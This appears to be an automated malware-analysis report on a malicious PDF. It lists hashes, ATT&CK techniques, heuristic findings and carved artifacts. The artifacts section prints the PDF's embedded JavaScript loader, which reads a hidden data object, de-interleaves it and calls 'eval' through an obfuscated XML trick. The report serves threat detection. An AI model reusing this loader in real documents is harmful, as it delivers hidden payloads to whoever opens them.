PDF malware analysis — malicious · e3e94f6f6f32c7d5

MALICIOUS

PDF

5.8 KB First seen: 2026-05-08

MD5: 82aaf74e65d3f51408273681b47da0b4 SHA-1: 8b230f8c4df08bf45dc7afdec25ede9add75365f SHA-256: e3e94f6f6f32c7d52dc16f3da4d52ef64cc17a920166be5a860a2f28f380d0ce

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The PDF file contains embedded JavaScript and an embedded binary file. The JavaScript is likely intended to execute or facilitate the execution of the embedded file, which is a common technique for delivering malware. The heuristics indicate the presence of JavaScript actions and embedded content, supporting this assessment. The embedded file 'embedded_file_obj0012.bin' is a strong indicator of a secondary payload.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0012.bin`	pdf-embedded-file	PDF EmbeddedFile object 12 at offset 0x428	144252 bytes
SHA-256: `b7731a66638bedf8203f14b95074ed2c28842fafbff93cf6730d87c05e475829`
Detection ClamAV: No threats found Obfuscation or payload: likely 314 of 314 identifiers look randomly generated (e.g. 'MaGA9OFgtGIbZOmRK1MaGA9OFgtGIbZOmRK2MaGA') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1CC	254 bytes
SHA-256: `1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6`
Preview script First 1,000 lines of the extracted script ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){ rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd); rf=re.one.value+re.two.value;this[rf](rc);

Open this report in the interactive analyzer, or submit your own file for analysis.